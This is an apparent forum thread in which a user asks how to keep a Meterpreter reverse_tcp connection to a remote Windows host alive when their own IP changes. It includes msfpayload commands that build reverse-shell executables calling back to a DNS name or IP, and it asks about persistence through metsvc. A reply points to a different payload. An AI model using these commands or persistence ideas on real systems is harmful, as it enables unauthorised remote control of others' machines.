I have been able to establish a reverse connection on a host outside the network. However when my WLAN IP changes I loose connection to the server.
I have tried using dns for the LHOST but not luck e.g.
msfpayload windows/meterpreter/reverse_tcp LHOST=myname.dns.com LPORT=8080 X >msffile.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=220.127.116.11
LPORT=8080 X >msffile.exe
How to I maintain access after the external ip used in my server changes.
Ps I have explored options like metsvc without success. Maybe I can encode the 2 files it creates | upload and execute ?
to use DNS hostnames, you need to use the payload
Perhaps you should do some more reading as I'm quite sure this is mentioned in more than one place on the forum. Also not good practice to include public IP addresses in your posts.